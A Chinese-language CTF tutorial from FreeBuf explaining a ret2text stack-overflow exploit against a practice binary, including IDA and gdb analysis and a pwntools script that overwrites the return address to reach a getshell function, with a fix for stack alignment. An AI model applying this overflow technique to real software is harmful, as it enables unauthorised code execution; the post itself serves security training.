freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

【二进制兔子之PWN-栈溢出】— ret2text
Binary_Rabbit 2023-03-24 17:07:17 163795
所属地 上海

ret2text

0x1、程序信息

描述内容
程序名称pwn1
程序平台linux
程序来源ctf_wiki
CPU架构amd64
libc版本2.31
利用手法ret2text
系统版本Ubuntu 20.04 LTS
下载地址https://wwnd.lanzoue.com/i3ITH0qeayje

0x2、保护情况

Arch:程序架构信息,i386-32-little——32位小端,amd64—64-little——64位小端

NX保护:堆、栈、BSS段不可执行。

RELRO保护:整个GOT表只读,无法被覆盖。

image-20210922110647853.png

0x3、检测漏洞函数

1.将程序载入到ida中,找到main函数,下方有一个vuln函数,跟随进去看看

image-20210922110936016


2.漏洞利用点在scanf函数上,未控制缓冲区大小,输入超过16个字符缓冲区将溢出

image-20210922110956896

0x4、确定偏移量

1.在上面的vuln函数中我们可以看到,v1变量与rbp的偏移量是0x10,也就是16字节

2.为了验证IDA帮我们分析出来的这个偏移量是正确的,我们决定用动态调试方法进行确定

image-20210922151721567


3.使用gdb加载程序,在0x4006B2处下一个断点


4.可以输入context查看上下文信息

0x5、寻找可以利用的函数

1.在ida中的函数窗口栏发现有一个getshell函数,它直接就是帮我们运行一个shell

image-20210922111155264


2.看它的反汇编复制它的地址(0x400686),作为我们溢出后返回的位置

image-20210922111240458

0x6、编写利用脚本

#!/usr/bin/python3 
from pwn import *


# 调试日志级别
context.log_level = 'debug'

# 将pwn1程序启动为进程
io = process('./pwn1')

# 构建payload,flat是将列表中的元素给组合起来
# "A" * 0x10 这个是vuln函数缓冲区大小
# p64(0xdeadbeef)表示8字节的整数,用来覆盖rbp,这个值可以任意填
# p64(0x400686)返回地址,返回到get_shell函数开头
payload = flat(['A'* 0x10,p64(0xdeadbeef),p64(0x400686)])

# 使用gdb附加调试
gdb.attach(io)

# 暂停,等待按任意健,程序继续往下执行
pause()

# 接受到Input:字符串后发送payload
io.sendlineafter("Input:",payload)

# 获取交互式shell环境
io.interactive()

0x7、调试观察

1.我们在vuln函数的leave指令处下一个断点,准备动态调试观察栈信息


2.运行exp1.py脚本,在gdb中下断点,并且输入c(continue)指令回车继续


3.在exp1.py叫脚本窗口按回车继续,右边的gdb就会断下来,可以看到当前堆栈的返回地址已经覆盖成了getshell函数的首地址

image-20210922114655362


4.我们输入c指令继续运行,发现程序断在了这里,看下面的堆栈信息,是出现了异常

image-20210922114835176.png


5.我们去脚本窗口,输入命令试一试,发现输入命令后没有回显,利用并未成功

image-20210922114856033.png


6.经过上网查找资料发现,movaps它要求RSP必须是16字节对齐

image-20210922115259983.png


7.我们将当前的RSP除以16发现并没有整除,后面有小数点


8.我们看一看这个函数上方哪里操作了RSP,发现是第一句 push rbp,所以我们跳过这个地址,选择0x40068A这个地址作为返回地址执行

image-20210922115658024

0x8、修改脚本

1.修改后的脚本

#!/usr/bin/python3 
from pwn import *

io = process('./pwn1')

# 将原来的0x400686改成0x40068A
payload = flat(['A'* 0x10,p64(0xdeadbeef),p64(0x40068A)])

io.sendlineafter("Input:",payload)

io.interactive()


2.再次运行exp1.py,完美利用成功执行命令

0x9、总结

9.1、pwn基本流程

  1. 使用checksec检查程序的架构以及保护情况

  2. 寻找程序漏洞函数,比如如gets,scanf等

  3. 计算目标变量的在堆栈中与栈底(32:ebp,64:rbp)的之间偏移

  4. 查看程序导入表,观察表中是否已导入可利用的函数,比如system,execve等

  5. 分析是否有字符串/bin/sh,将它作为system的参数

    • 在此程序中,它直接提供一个后门函数,供我们使用

9.2、GDB调试指令

  1. gdb -q:静默运行程序(不输出gdb启动时提示的版本信息)

  2. b:下断点

  3. c:继续运行

  4. context:查看上下文信息(堆栈、寄存器、反汇编)

  5. quit:退出GDB

9.3、拓展

  • ctf-pwn-tips:里面总结了很多的存在漏洞的函数,以及输入参数的描述,非常实用。

# CTF # 缓冲区溢出 # pwn
本文为 Binary_Rabbit 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
Binary_Rabbit LV.3
这家伙太懒了,还未填写个人描述!
  • 4 文章数
  • 2 关注者
【二进制兔子之pwn-栈溢出】— ret2plt
2023-03-24
【二进制兔子之pwn-栈溢出】— ret2reg
2023-03-24
【二进制兔子之pwn-栈溢出】— ret2shellcode
2023-03-24
文章目录